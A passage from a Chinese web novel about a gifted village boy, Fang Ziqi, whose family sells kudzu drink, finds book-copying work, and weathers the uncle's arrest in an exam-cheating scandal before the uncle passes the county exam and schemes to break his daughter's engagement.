赵满仓一脸兴奋地跑了过来,因为人小,再加上有些虚胖,跑过来后有些气喘吁吁的。 “我爹娘今天摆摊卖甘葛饮!” “诺,就是这个。” 方子期指了指一旁已经冲泡好的一碗葛粉道。 “甘葛饮?” “看着好漂亮呀!” “我要买一碗!” “多少钱!” 赵满仓一脸兴奋道。 俨然就是个吃货。 “不加糖的甘葛饮三文钱一碗。” “加糖的四文钱一碗。” 方子期不假思索道。 这是出门前就商量好的价格。 白糖也不便宜,多加一文钱也合适。 “诺!” “给你钱!” 赵满仓都兜里掏了掏,排出四个大钱来。 方子期一脸意外地看了自己这个同窗兼发小一眼,不愧是家里面开茶馆的。 这么点大就有这么多零花钱了。 “子期。” “满仓可是你的好朋友,还收什么钱!” “且拿去吃吧!” 苏氏一脸和善地看向赵满仓道。 赵满仓本来还想继续将钱递过来,最后还是被苏氏拒绝了。 “子期!我回去给你拉客来!” 吃人嘴短。 赵满仓当即迈着小短腿朝着自家茶馆那飞奔而去。 赵满仓家的茶馆就开在镇子通往县城的路上,来往客商不少,生意还不错。 不多时。 一个略有些秃顶的中年男子带着两个女孩就走了过来。 赵满仓就跟在后面。 “仲礼!” “听我家满仓说,你在这卖什么甘葛饮?” “听这小子说很好吃。” “我家那两个嘴馋的丫头也要吃。” “给我来两份加糖的吧!” “加上之前我家那小子吃的,一共十二文。” 赵通源掏出十二个铜板,笑眯眯道。 “通源!你同我客气什么!” “孩子吃了也就吃了。” “收什么钱!” 方仲礼连忙拒绝道。 最后两人拉扯了一阵,方仲礼收了八文钱,赵满仓那一份就当是请他吃了。 赵满仓的两个姐姐吃上甘葛饮后,也是一副喜笑颜开的样子。 “甜蜜蜜的,滑嫩得很,感觉像是吃蜂蜜似的!” “太好吃了!” 赵满仓的二姐捧着甘葛饮,有些爱不释手。 至于赵满仓的大姐,或是年龄稍大些的缘故,略显得矜持些,但也将甘葛饮吃得干干净净。 “爹!” “我还要吃!” “我还要!” 赵满仓拽了拽自家老爹赵通源的袖子,一脸可怜巴巴地祈求道。 赵通源磨不过自家儿子,只能再买了一碗。 而因为自家三个孩子对甘葛饮一致好评的缘故,所以赵通源也忍不住给自己买了一碗。 吃完后。 赵通源当即眼前一亮。 “好吃!” “仲礼!” “这东西你是怎么琢磨出来的?” “若是放一些在我的茶馆里卖!” “定然畅销!” 赵通源不愧是商人,当即发现了商机。 “仲礼,不知可否拿一部分出来,让我代卖?” 赵通源搓搓手道。 “额……” 方仲礼愣了一下,没想到赵通源对这甘葛饮的评价这么高。 方仲礼的目光下意识看向方子期。 “爹……” “我觉得这样挺好的。” “让赵叔帮忙代卖,以后咱们就不用到镇子上摆摊了。” “可冲泡一份甘葛饮的葛粉,咱们兑给赵叔两文钱就好了。” “至于赵叔卖多少钱,那就是赵叔的事情了。” 方子期在一旁笑着提醒道。 “呀!” “这就是子期吧?” “平日里我忙着茶馆的买卖,也不多见,没想到都长这么大了。” “我都听我家满仓说了,子期在学堂整日被夫子夸奖!” “仲礼,你可是好福气啊!” “以后子期准能在科举上大放异彩!” “子期比我家满仓还小一岁,但是太聪慧了!” 赵通源说话间,瞥了一眼正在兴奋地吃着甘葛饮的宝贝儿子,顿时无奈叹了口气。 儿子比儿子,真得扔啊。 “通源,你要是这么说,这小子可会骄傲的。” “你家满仓也不差。” “我家这小子就是太能折腾了。” “通源,我这里剩下的葛粉大概还能冲泡五十碗甘葛饮……” “你要多少?” 方仲礼询问道。 “当然是都要了!” “嘿嘿!” “我估摸着还不够一天卖的!” “回头仲礼你还得多送一些来。” 赵通源见方仲礼同意,顿时喜笑颜开。 镇子上的摆摊大业刚开始就终结了。 摆摊不到半小时,直接被大户包圆了。 告别了赵满仓和赵通源,方子期等人直接就归家了。 一路上,苏氏都在感叹。 “一共116文!” “除去买白糖花费的二十文,净赚96文!” “而且白糖大多都带回来了!” “没想到一天时间挣这么多!” “你爹之前打短工,一天也就十来文钱,而且活还难找。” 苏氏一边说着话,忍不住伸出手摸了摸方子期的脑袋,一脸欣慰的表情。 在出镇子的路上,恰好遇到有卖肉包子的。 苏氏想了想,买了三个大肉包。 给方子期一个,剩下两个准备带回去给四个闺女吃。 “爹娘!” “你们也吃啊!” “再来两个。” 方子期看着肉包,味蕾不由得动了动。 整天吃杂面糊糊和野菜,这肉包的味道可太香了。 “娘不饿,子期吃。” 苏氏一脸欣慰道。 最终方子期放话爹娘不吃他也不吃,苏氏才多买了一个肉包。 一个肉包三文钱。 总共买了四个肉包,花了十二文钱,苏氏一脸心疼。 好在今天卖甘葛饮赚了不少。 回到家的时候,还不到中午。 “呦!” “二弟二弟妹这个点就回来了?” “怎么?” 第8章 蹭大伯的肉燕 “现在农忙既已过了。” “去找个活干也是好的。” “否则家里这么多口子,都快要揭不开锅了。” “现在子期也开蒙了。” “花钱的地方还多着呢!” 大伯母赵氏嘟囔道。 方仲礼和方叔信没吭声。 最后老爷子方守义出言道: “老二老三。” “你大嫂说的不是没有道理。” “哪有坐吃山空的道理?” “回头去县城看看,可有需要帮工的地方。” 老爷子方守义发话了,方仲礼和方叔信自然也不能装傻充愣了。 “知道了爹,回头我就去县城看看。” 方仲礼敷衍道。 至于三叔方叔信此刻一脸苦色。 接下来的几天,方仲礼和苏氏弄了更多的葛根回来。 俨然一副规模化扩产的样子。 中间又给赵满仓的爹送去了一些葛粉,赵通源也都照单全收了。 不过赵通源的茶馆销量也有限,毕竟只是在镇子上,所以方仲礼打算去县城看看,能不能卖得更快一些。 “子期,明天我去县城,你也跟着一起去吧。” “顺便去书铺里面给你买点纸张。” 方仲礼道。 对于这个提议,方子期自然不会拒绝。 县城他好像还真没去过呢! 第二天早上卯时(早上五点)。 方子期就被方仲礼从被窝里薅了起来。 随即搭上了一文钱的牛车,奔赴县城。 牛车行走了差不多一个半时辰,才到禾阳县。 进了县城后,方仲礼就率先将折叠好的桌子给打开了,找了个不错的位置开始摆摊卖甘葛饮。 县城的消费水平确实不是镇子上能比的。 方仲礼带了一百份甘葛饮,居然都被一销而空。 至于冲泡甘葛饮所需的开水,只能就近找住户购买了,好在不贵,也就花费了几个铜板罢了。 “入账三百三十四文!” “抛去成本,净赚也有小三百文了!” “这个买卖要是能长久做下去就好了。” “只可惜过了这个季节,就没葛根了。” 方仲礼摇摇头,有些可惜道。 “走吧子期。” “先去一趟崇文书院!” “你奶奶给你大伯弄了点咸菜,刚好要送给他。” 方仲礼说话间,就带着方子期朝着崇文书院走去。 只是还没到崇文书院,方子期就停下脚步了。 “爹!” “那是大伯吗?” 方子期指了指距离书院不远处的一个饭馆里面,大伯方伯山正坐在那吃饭。 方仲礼带着方子期走过去的时候,方伯山显然被吓了一跳。 “二弟?子期?” “你们怎么来了?” 方伯山此刻正在吃着一份肉燕,上面还漂着不少小虾米,香味扑鼻。 见方仲礼和方子期的目光都盯在肉燕上,方伯山忍不住嘴角一抽…… 好不容易出来开个荤,还被发现了? “你们吃过了吧?” 方伯山下意识道。 “没呢大哥!” “刚好饿着肚子呢!” “这肉燕可真不错!” 方仲礼脸皮厚的很,此刻直接带着方子期坐在板凳上。 “那…再叫一碗肉燕吧!” “再叫个烧饼。” “我…我也不时常来这里吃。” “今天也是事出有因。” 方伯山想要解释,方仲礼笑而不语。 “大哥,这是娘给你带的咸菜。” 方仲礼将咸菜递送过去。 很快肉燕就上桌了。 香味已经彻底吸引了方子期。 随即直接开始大口朵颐起来。 一旁的方伯山一脸心疼。 这一碗肉燕可是足足十三文啊! 再加个烧饼…… 今天大出血了! 就换了这么罐咸菜。 方伯山忍不住在心里面抱怨起来,他那老母亲好端端的,给他搞什么咸菜! 就在方子期快要吃完的时候,远处走过来几个书生。 “方兄!” “这王老太君的寿宴你当真不参加了?” “这可是陆小公子都会参加的宴席!” “陆小公子的父亲可是本扬院试的考官!” “你当真不去拜访一下?” 中年书生笑着作揖道。 方伯山连忙起身作揖。 “孙兄,我最近还想多看看书,寿宴就…就算了。” 方伯山挤出笑容道。 身上无钱,去个锤子啊。 一两银子的门槛费,他实在拿不出来啊。 出了这个钱,可就没钱去府城考院试了。 “好吧!” “那就太可惜了。” 中年书生拱拱手就离开了。 “二弟,要是没什么事,我就先走了。” “我还要回去温书呢!” 方伯山打了个招呼就开溜了。 “爹!” “没想到大伯在书院吃得这么好?” “怪不得都要读书呢!” 方子期忍不住感慨道。 “你奶奶惯是偏心的。” “平日里可没少给你大伯钱。” “快些吃完饭。” “我们好去书铺。” 方仲礼叮嘱道。 吃完饭,方仲礼带着方子期兜兜转转,来到一家名叫‘墨玉轩’的书铺。 进门之后,方仲礼忍不住握紧了腰间的三百多文铜钱。 本以为今天发财了,能大消费一笔了。 但是看了这些文房四宝的价格之后,方仲礼就蔫吧了。 最低等级的草纸都要四十文一刀! 至于中等级别的竹纸,价格直接攀升到两三百文一刀…… 买不起买不起…… 原本方仲礼还想将他那已经秃了毛的毛笔换一支的,但是扫了一眼毛笔的价格直接退却了。 一支最便宜的毛笔都要大几十文! 筛筛选选。 方仲礼最终也只是买了一刀草纸,想了想,又拿了一支最低等级的毛笔,自己舍不得用,儿子得用啊! 而此刻的方子期已经在翻阅书谱中的书籍了。 就算是在夫子的书房中,也不可能有这么多书啊! 四书五经肯定是有的。 《八股文基础与范文》、《文章规范》、《尔雅》及《尔雅注疏》等书都有。 若是可以。 方子期都想在这书铺中多待几天了。 方子期翻书的速度很快。 翻完一遍之后,就能记住个大概,再回去翻一遍,基本上也就记住了。 剩下的就是靠着自己去慢慢理解了。 “小娃娃。” “你看书这么快?” “这是做什么?” “贪多可不好!” 这个时候,墨玉轩的掌柜魏景行走了过来。 掌柜魏景行身上穿着绸缎衣服,体型微胖,笑起来像个弥勒佛,还挺和善的。 “抱歉掌柜,小儿不懂事,胡乱翻书了。” 方仲礼连忙走上前致歉。 “我这是书铺,自当是允许看书的。” “只是这小娃娃看书太快,岂不是在敷衍了事?” 掌柜魏景行仍旧是那副和善面容。 第9章 三叔的牛马命 “我都背完了,自然看得快一些。” 方子期一脸诚实道。 “背完了?” “以如此快的速度翻阅一下就背完了?” “小娃娃可不好乱讲话的。” 魏景行看着方子期一脸面冠如玉的样子,此刻也忍不住起了考教之心。 “这是《大学章句》吧?” “你既已背完。” “那‘古之欲明明德于天下者,先治其国’之后是什么内容?” 魏景行笑眯眯道。 “欲治其国者,先齐其家。欲齐其家者,先修其身……” 方子期朗朗上口。 魏景行不信,又再度考教了几句,方子期一一对上。 甚至只要是《大学章句》上有的注释,都能一一解答。 魏景行的目光顿时跟着变了。 此刻看向方子期的目光中透着震撼。 “此子!” “天赋异禀!” “好啊好啊!” “若是考科举,今后必定大有前途!” “老夫魏景行!不知道小友何名?” 掌柜魏景行此刻也收起了轻视之心。 哪怕现在的方子期只是个六岁的孩子。 但是那又如何? 天赋摆在那…… 将来前途不可限量! “我叫方子期,魏掌柜好。” 方子期不卑不亢道。 “方小友!” “以后若想看书,尽可过来。” “我这里什么都没有,就是书多。” 魏景行此刻也想卖个好,来个天使轮投资。 在墨玉轩看了一下午的书。 顺便还给老爹找了个抄书的活儿。 到了傍晚,方仲礼才带着方子期和一本《大学章句》还有对应的纸张赶上了回村的牛车。 今天收获匪浅! 不仅仅是卖甘葛饮赚了三百多文,而且还得了这抄书的活儿。 甘葛饮这东西注定是卖不长久的,毕竟葛根也不是无穷无尽的。 但是这抄书的活儿要是做得好了,可是能持续带来收入的。 一路上,方仲礼的心情都极好。 脸上时刻挂着笑容。 回到家后。 方仲礼将抄书的事情一说,苏氏也十分高兴。 他们这个小家庭有了稳定的来钱路子,以后就不用忧愁了。 本来还想着这甘葛饮卖完了之后怎么去赚钱呢! 晚饭的时候。 不出意外,大伯母赵氏再度提及了让二房和三房打短工的事情…… 方子期已经免疫了,毕竟这耳朵都听出茧子来了。 “二弟!” “今天去县城里可找到活儿了?” “这一去就是一整天!” “你说你去找活就找活,带上子期这个孩子去做什么?” “人家见你带个孩子,还能让你去帮工?” 大伯母赵氏在一旁埋怨道。 “我爹找了个抄书的活儿!” “以后就不用去帮工了!” 方子期一边吃着饭一边道。 “抄书?” “二弟能抄书?” “怎么可能!” 大伯母赵氏的嗓音都跟着高了几度,此刻一脸不信。 要知道她夫君可是童生!但是因为字写得一般,抄书都不够格的! “老二?” “抄书的事落定了吗?” “一天能挣多少钱?” 老爷子方守义此刻也跟着来了兴致。 “爷爷!” “按照书铺老板给的价格,一天赚个五六文钱肯定是没问题的!” 方子期抢答道。 虽然他爹一天抄书六七个小时能赚三十文,但是这事能说吗? 说个五六文差不多了。 “才五六文啊!” “出去打短工一天还能赚个十多文呢!” 大伯母赵氏皱着眉头,显然不满意。 “五六文怎么了?” “长年累月的也不少了!” “有本事让大哥每天拿个五六文回来?” 苏氏此刻自然不惯这赵氏的德行。 “五六文就五六文吧!” “细水长流也好!” “老二!” “那你以后就安心在家抄书吧!” “切不可懈怠才是!” 老爷子方守义叮嘱道。 “爷爷!” “抄书之前,还需要购买一些笔墨纸砚,还需要花费两三百文!” 方子期突然开口道。 “什么?” “还没挣钱,就开始往外掏钱了?” 大伯母赵氏当即怪叫道。 “老头子。” “我觉得这钱该花!” “前期投资好了,以后才能来银钱!” “而且等以后老二抄书多了,也能多赚些银钱!” “在家抄书就能赚钱,就不用去外面当苦力了!” 奶奶柳氏这个时候突然正直了一次。 到底这是自己的二儿子。 虽然她偏心大房,但是在不耽误大房利益的前提下,让二儿子过得好一些也是好的。 “嗯!” “那你回头给老二支取两百文钱吧!” “老二!” “以后可得好好读书!” “切不要三心二意!” 老爷子方守义叮嘱道。 老爷子说完,目光看向老三方叔信。 方叔信当即苦笑。 “爹!” “我这几天就要去岳父家帮忙了。” “实在没精力出去帮工赚钱。” “等忙完这阵子再说吧。” 方叔信无奈叹息。 大哥在读书。 二哥能抄书。 就他命苦,给老丈人家当完牛马,还要出去找活继续当牛马。 这日子真没法过了! 第10章 被捕 方子期的小家过得还是比较舒服的。 老爹方仲礼每天都忙着抄书和读书。 墨玉轩的那位魏掌柜也十分给力,每次给方仲礼抄的书基本上都是他当下需要阅读的典籍。 如此一来,在抄书的同时还能学习阅读一番。 最后方仲礼都会将典籍抄两两遍,多出来的一份自己留着慢慢阅读。 至于甘葛饮的买卖,做了个把月后,就没得做了,因为葛根挖完了,想要继续做这门买卖只能等到来年了。 值得一提的是。 大伯方伯山的院试之旅终于结束了。 只是没回家,仍旧待在书院里。 “老二。” “这是我弄的一点酱菜,还有一点咸肉。” “回头带去给你大哥!” “你大哥刚考完院试,正是需要滋补的时候!” 奶奶柳氏叮嘱道。 因为现在方仲礼经常要往来于县城,所以带东西这种活儿自然就轮到他了。 每次方仲礼去县城,都要将方子期给带上,去了墨玉轩,方子期一看书就是大半天。 来到崇文书院,方仲礼径直走到门房。 “你好,我找我大哥方伯山,劳您叫他一下。” 方仲礼十分客气地对门房道。 “等着吧!” 门房点点头,正准备转身离去。 突然一阵急促的马蹄声传来。 远处飞奔过来十多个骑马的官兵。 这些官兵身上穿着暗红色紧身服,胸前的衣服上格子绣着一只暗金色的老鹰,头戴方冠,腰挂绣春刀,倒是威风凛凛。 “是鹰扬卫!” “这可是陛下亲军!怎会出现在这里?一般不是只有在府城以上的地方才会驻扎吗?” “他们莫不是冲着我们书院来的吧?” 门口几个崇文书院的书生不由得跟着嘀咕道。 很快,这几个书生的话就得到了验证。 鹰扬卫直接冲刺过来,来到书院门口后,这十几个鹰扬卫潇洒地翻身下马。 方仲礼拉着方子期来到一旁规避。 不多时,这个几个鹰扬卫突然从书院内拖走了几个学子。 山长李文才站在身后,脸色显得格外难看。 此刻倒是还想再问些什么,但是见鹰扬卫头领一脸不耐的样子,也只能将心思压下去了。 在人群中,方子期甚至还看到了自己的大伯…… 这…… 人生无常? “我…我没舞弊……” “我没有……” 方伯山噤若寒蝉,说起话来结结巴巴的。 同时与他出来的三个学子也是战战兢兢的。 “哼!” “有没有,等调查了才知道!” “只有四人吗?” 鹰扬卫头领不满道。 “大人容禀。” “此次我们崇文学院参加院试的只有六人。” “还有两人已经归家。” “这是他们的住址。” 山长李文才很配合道。 鹰扬卫头领点点头,大手一挥,转身离去,显然是去抓人了。 至于他大伯方伯山,此刻也被鹰扬卫直接带走了。 或是因为过于紧张,方伯山此刻都不曾注意到方仲礼和方子期。 “这可如何是好……” “鹰扬卫那种地方……去了别管有无罪过,都得脱层皮啊!” “大哥不会真的猪油蒙了心,参与了舞弊吧?” 方仲礼眉头皱起,言语中多了不少紧张之意。 “爹,现在着急也无用,最好还是先将事情打听清楚。” “我有一同窗名唤顾知远,他爹是衙门里的文书,或许可以请他帮忙打探一下消息。” “在学堂的时候,我同顾知远的关系处得还算不错。” 方子期提醒道。 “是…顾文书就是我们柳溪村的人。” “到底是个熟人,打听一下消息也是好的。” 方仲礼深吸一口气,连忙道。 很快,方子期就同方仲礼急匆匆地赶回柳溪村,恰逢顾知远的父亲顾雍休沐在家。 听到同村之人求事,此刻也不敢耽搁,简单换了衣装就出发了。 因为事情紧急,方仲礼还特地包了一辆牛车。 “此番多谢顾兄了。” 方仲礼作揖道。 “算不得什么。” “犬子知远本就是子期的同学。” “我都听知远说了,子期在读书上的天赋无人可敌。” “子期将来必成大器!” “知远总说,他有什么不懂的地方,时常请教于子期,子期从未有过半点不耐,现在我能帮上点忙,那也是我的荣幸。” 顾雍是个蓄须的中年男子,身穿长袍,到底是衙门里吃皇粮的,一身气质倒是没得说。 到了县城后,顾雍也不废话,直接冲进衙门,小半个时辰后才出来。 出来后。 顾雍脸色显得十分严肃。 “此事……” “闹大了。” “据说是本次宁江府的考题中的试帖诗在一次宴会中被泄露了。” “所以才惊动了鹰扬卫!” “科举舞弊之事,本就是禁忌。” “方兄,若是你大哥真的参与了,恐怕被剥夺功名事小,恐有牢狱之灾!” “此事既有鹰扬卫插手,就不是我能帮忙的了。” “实在抱歉。” 顾雍叹了口气。 他就是个文书,在县衙里面还有几分薄面。 出了县衙,啥也不是。 方仲礼听到此处,也有些忧心忡忡。 “顾叔叔,您可知这试帖诗是在哪里的宴会上被泄露的?” “可是之前县城里举办的王老太君的宴会上泄露的?” 方子期直截了当询问道。 “咦……” “子期,你如何知晓?” “据说是陆小公子酒后泄题的。” “现在陆小公子早已经被抓,就连陆老爷都下了大狱,陆老爷就是本次考试的提调官!” 顾雍好奇地打量着方子期道。 第11章 大堂姐议亲 所谓的提调官其实就是负责统筹安排考扬内外事务的官员。 “之前我大伯曾想参加这寿诞,当时就说有什么考官家人参加。” “突然想到了这一茬。” “多谢顾叔叔解惑。” 方子期致谢道。 同时方子期的目光看向方仲礼,两人不约而同地都松了口气。 看来没钱也有没钱的好处。 之前方伯山朝家里要一两银子就是想要参加这王老太君的寿诞。 只是后来爆发了大伯母私藏私房钱的事情,此事才作罢。 看来问题就是出在这寿诞上了。 若是大伯方伯山真被定了个科举舞弊的名头,那方家全家人的科举路就算是废了。 连坐制度可不是开玩笑的。 就连考试的时候,都需要五人具保,一人作弊,五人全部黜落连坐。 更何况他们同大伯方伯山还不曾分家…… “顾兄。” “我大哥此番不曾参加这个寿诞。” “应当无事吧?” 方仲礼询问道。 “这个……” “正常来说被连累的,等查清楚后,自然也就将人放出来了。” “但……” “这种事情谁说得准呢!” “还有鹰扬卫亲自督办。” “就算是想花钱走门路都不知道往哪走。” 说话间,顾雍无奈苦笑一声。 从县城归家之后,天色已经漆黑如墨了。 回到家后。 方仲礼将此事说明。 这事本来也瞒不了。 “什么?” “科举舞弊?” “怎么会……” “爹!娘!” “伯山现在被抓了!” “你们可得救救伯山啊!” “否则他就真的完了!” “家里若有银钱!” “还是要尽快送过去的!” “伯山可是咱们家里唯一的童生啊!” 大伯母赵氏一时间慌了神,慌不择言道。 “大嫂,此事我已经同县衙的顾文书说过了。” “他说这件事是鹰扬卫督办,就算是他也找不到门路。” “哪怕是县太爷,也不敢在此事上置喙。” “反正大哥只要没参加那什么鹤鸣宴,自当是清白的,过几天可能就放出来了。” 方仲礼解释道。 虽然有方仲礼的解释。 但仍旧还是闹腾得人心惶惶的。 这几天吃饭,桌上都没有什么声音了。 好在三天后。 方伯山就归家了。 只是此刻的模样显得相当狼狈罢了。 头发凌乱、面如菜色、佝偻着腰身,走起路来都有些发颤。 回到家后。 自然又引起一片轩然大波。 “祖宗保佑啊!” “老大你没事就好…没事就好。” “若是你出了事。” “娘也不活了!” “娘还指望你考个秀才,好当秀才娘呢!” “老大,饿了吧?” “快!快吃个鸡蛋……” 奶奶柳氏一脸心疼地嚷嚷道。 此刻的方伯山压根不曾搭理柳氏,静坐良久之后。 才长长地叹了口气:“塞翁失马焉知非福啊!” “家穷,也未必不是好事。” “若是爹娘给了我银钱去参加寿诞。” “这一次科举舞弊我定然是逃不过的。” “我出来的时候找同窗打听,据说凡是参加了寿诞的学子,这一次全部被下了大狱!” “我因不曾参加,倒是侥幸逃脱。” “此次我们崇文学院参加院试者共六人,只有我同一位钱兄不曾参加寿诞,被放了出来。” “如此这般,下次我都不敢再去参加科考了。” 方伯山重重地叹了口气,此刻有一种劫后余生的凄凉之感。 “大伯。” “那此次院试,还要重考吗?” 方子期询问道。 “这…这我也不知啊……” “这若是真要重新考试,又要银钱……” 方伯山眉头一皱…… 听到此处。 老爷子方守义在那吧嗒吧嗒地抽着老旱烟。 至于奶奶柳氏,就显得更心疼了。 考一次试,可是要花费好几两银钱的。 “伯山,最近这段时间,你就在家中待着吧,也不要往外跑了。” 老爷子方守义发话了。 随即几房人马各自散去。 回到西厢房后,方仲礼重重地松了口气。 “呼!” “事情总算是解决了。” “若是大哥真被扣上了科举舞弊的帽子,咱们家就算是完了。” “我倒是无碍。” “就是子期的科举路才是真的断了。” “幸好大哥没犯糊涂。” 方仲礼说话间,忍不住摸了摸方子期的脑袋。 此事虽发生在大房,但是他们二房也有一种劫后余生之意。 “爹。” “此次与大伯作保的其余四人,可陷入舞弊之案了?” 方仲礼好奇道。 “这个…好像没有。” “与你大伯结保的都是农家子,都无钱参加什么寿诞。” “子期,你说这些,是什么意思?” 方仲礼愣了一下道。 “爹。” “此次寿诞涉猎范围极广。” “据说还有不少外县的学子前来参加。” “如此一来,可不仅仅只是参与了寿诞的学子与本次院试无缘,甚至是与这些学子一起作保的那些学子,也都将被黜落。” “如若此次院试不重新考的话,那不曾被影响到的学子…可就太幸运了。” 方子期分析道。 “子期,你的意思是,你大伯这一次极有可能中榜?” 方仲礼顿时一乐…… 这事。 可就有趣了。 “是这么个道理。” “按照大伯的话来说,塞翁失马焉知非福嘛!” 方子期耸耸肩笑着道。 “嘿!” “咱家真要是出了个秀才,家里田地可就都能免税了,也用不着去服徭役了。” “合该是好事。” 方仲礼忍不住笑道。 毕竟他们供养了大房这么多年,可就等着方伯山考上秀才带动全家呢! “爹!” “可同患难,但是共富贵嘛……这难度可就大了。” 方子期点到为止,也没多说什么。 反正对于他一个孩子来说,现在最重要的还是读书。 科举之路,注定才是最重要的。 某天。 方子期从学堂放学归来。 家里内外突然多了许多人! 而他大伯方伯山此刻也是喜笑颜开地在那里接待着来客。 凑近打听才知道,今天是大伯家的大堂姐方玉瑶议亲的日子。 他这个大堂姐今年已15岁了,在古代,这个岁数就要嫁人了。 同方玉瑶议亲的,是隔壁村小河村张屠夫家的三儿子,也就是大伯母赵氏娘家所在的村子。 这个年代,屠夫虽然是贱业,但是赚钱可比农夫多得多。 屠夫之家,时常吃个肉再正常不过了。 往里面挤了挤,方子期也看到了这位未来的大堂姐夫。 身高估计快两米了,一身的腱子肉,长相虽一般,但是看着憨厚得很,倒是个持家过日子的。 第12章 中榜 “这是我爹让我送来的。” 说话间。 张屠夫家的三儿子张蛮牛提拉了一脚肉过来,估摸着得有个三四十斤。 “来就来,还带这些做什么!” “快拿回去!” “我们可吃不得这些!” 大伯母赵氏心中一阵心疼…… 这么多肉。 岂不是要便宜了其他几房? 这哪能行啊! 张蛮牛还以为赵氏是在客气,非要将肉留下。 “倒是个实诚的孩子。” “玉瑶这门婚事错不了。” 老爷子方守义敲了敲老烟枪,也显得很满意。 懂事,会做人,谁看到不喜欢? 方家一大家子都开心。 只是大伯母赵氏一直在心疼。 屋内吹吹打打的,好不热闹。 突然。 外面又挤进来不少人。 这群人都是衙役,而且也吹吹打打的。 一时间,屋内众人都有些懵。 “请问哪位是方伯山方老爷?” 衙役恭敬询问道。 “啊?” “我…我就是方伯山……” “不知几位大人找我何事……” 方伯山经历了之前鹰扬卫的事情,还有些阴影。 “恭贺方老爷中榜本次院试四十九名!” “没成想方老爷家今天还有喜事!” “这可是双喜临门了!” 衙役一脸笑容道。 “啥?” “四十九名?” “中…中榜?” “我中了?” “中秀才了?” 方伯山的声音突然间拔高了好几度。 此刻全身上下都在颤抖。 双目赤红。 嘴唇此刻都在那里打架。 然后在众人还没反应过来的时候。 方伯山突然倒头晕厥在地。 事情发生地太突然,众人压根就没反应过来。 “伯山!” “伯山!” “快醒醒!” 老爷子方守义走上前,使劲晃了晃方伯山,方伯山稍稍醒转了些,只是脸上仍旧挂着痴痴的笑容,旁人说话,他也不搭理。 “爷爷。” “大伯这是中魇了。” “我看古书中说。” “这种情况下,要让有气力之人,给他扇几个耳光方才能好。” 方子期走上前道。 他这话还真不是乱说的。 这种事在《太平广记》、《酉阳杂俎》等古书中皆有记载。 “方子期!” “你这是故意坑害你大伯!” “你到底对你大伯有何不满!还想掌掴于他!” 大伯母赵氏怒道。 方子期耸耸肩,你们不信就算了。 但是此刻方伯山的状态就像是痴呆了一样,再不处置肯定不行了。 “赵氏!” “你住嘴!” 老爷子方守义咬紧牙关,给自己儿子方伯山来了两耳光,但是因为人老了气力也小了,反应不大。 老爷子方守义心一狠。 “蛮牛!” “你过来!” “用尽你全身力气!” “抽你岳父两个耳光!” “快!” “还愣着做什么!” “我让你抽的!” “出了事我来负责!” 老爷子方守义吼道。 “好…好……” 张蛮牛深吸一口气,右手蓄力,随即…… 啪…… 惊天掌掴之音传来。 方子期看着都感觉脸疼…… 正当张蛮牛准备再来一耳光的时候,方伯山突然在方守义的怀中颤了颤。 “怎…怎么了?” “发生什么事了?” “爹?” “我好像梦见我中秀才了。” 方伯山一脸无辜道。 “傻孩子。” “不是做梦!是真的!” “你中了院试四十九名!” “之前早就有算命先生说我家大房要出个文曲星!” “看来确实是真的!” 老爷子方守义见自己儿子已经醒转过来,顿时也跟着放下心来。 “可本次院试,不是只取四十名吗?” 方伯山害怕自己还是在做梦,所以忍不住多问了一嘴。 这个时候,之前来报喜的衙役走上前道:“方老爷,因为本次院试出了科举舞弊之事,惊扰到了一众学子,皇恩浩荡特地给我们宁江府多取了十个秀才名额。” 衙役说完,方伯山才放心了,此刻眼含热泪…… 这院试,他可是考了十多年了。 这一次……终于! 考中了! 方子期此刻也啧啧称奇。 大伯这气运……有些逆天了啊。 先是因为科举舞弊的事情,一大批人被筛选掉了,包括那些与参与舞弊之人作保的学子,通通黜落。 而现在呢? 又因为舞弊之事,上面开恩给宁江府多取了十个秀才名额,所以秀才名额从往年的四十名变成了五十名。 而他大伯卡在四十九名…… 也就是说。 若是没有舞弊连坐之事,或是没有皇恩浩荡加名额之事,他大伯这次都要白考…… 但是现在,弄了个倒数第二,搞了个孙山之前的名次,属实是运势大爆发了。 “守义家的!” “伯山中了秀才,快给官差大人们发喜钱啊!” 最后还是方氏族长方文泰提醒,柳氏才急匆匆地从屋内取了上百个铜钱给发下去了。 衙役们见只有几十个铜板,虽然有些失望,但是喜钱这种东西本就是讨个喜庆,所以说了两句吉祥话也就走了。 方家热闹了一整天,晚间时候才稍稍褪去了一些浪潮。 一下午,陆续有邻村的地主或是商户前来送礼。 晚间吃饭的时候,连席面都好了许多。 奶奶柳氏将张屠夫家三小子张蛮牛带来的肉一次性做了三四斤。 第二天,方伯山匆匆出门。 晚上回来的时候,大房那边就传来一阵阵嘀咕音,还有大堂姐方玉瑶的哭泣声和大伯母的呵斥音。 晚间吃饭的时候。 方子期才知道发生了什么事。 “爹娘!” “县城孙员外家的儿子孙承宗刚死了妻子,现在正找继室。” “他相中了我家玉瑶。” “欲同我家结亲。” “我见这是门好亲事,所以就答应了。” “毕竟那孙员外,本就是我们镇子里出去的,说起来还算是半个老乡,都是知根知底的。” “现在相中了我们家玉瑶。” “合该是我们家的幸事。” “孙员外还说了。” “他听说我们家大房将要出文曲星,所以会继续供我考科举。” “到时候文舟和文轩的学业也能更上一层楼。” 大伯方伯山嘀嘀咕咕地说了一大串。 里里外外的意思就是。 我要攀孙员外家的高枝了。 我家要飞上枝头变凤凰了。 第13章 撕毁婚约 “大哥!” “玉瑶不是已经同张屠夫家议亲了吗?” “你这样做,岂不是言而无信?” 方仲礼眉头一皱,还能这么玩? “只是议亲而已,又不是成婚,有什么的。” “以前我家伯山是童生,将玉瑶下嫁给张屠夫家也就罢了。” “但是现在我家伯山可是秀才了!” “玉瑶的婚事岂能如此随意?” “那孙员外家,家财万贯!玉瑶过去可是要享福的!” 大伯母赵氏此刻一副小人得志的嘴脸。 老爷子方守义仍旧在那里吧唧吧唧地抽着烟,眉头时不时的跟着紧锁。 “老大。” “昨日议亲,大家伙儿都是看到的。” “而且我看张屠夫家那三小子是个过日子的人。” “玉瑶嫁过去不会吃亏。” “而且若非张屠夫家那三家子给你那一耳光,你也醒不过来呢!” 老爷子方守义总觉得此事不符合道义。 “爹!” “您不说这个还好,一说起这个我就来气。” “这还没成亲呢!那张蛮牛就敢掌掴于我!这还了得?” “我是童生的时候,张家见我如井底之蛙见巨擘!” “现如今我中了秀才,张家见我如同蚍蜉见青天!” “这门婚事,万万是不相配的!” “现今恰逢有孙员外相中我家玉瑶。” “我自当要托举玉瑶促成此门婚事。” “而且近些年家里面供我科举已实属不易。” “中了秀才后,我肯定还是要下扬考一考乡试的。” “到时候必然是要进更高层次的学府学习。” “家里必然是供不起的。” 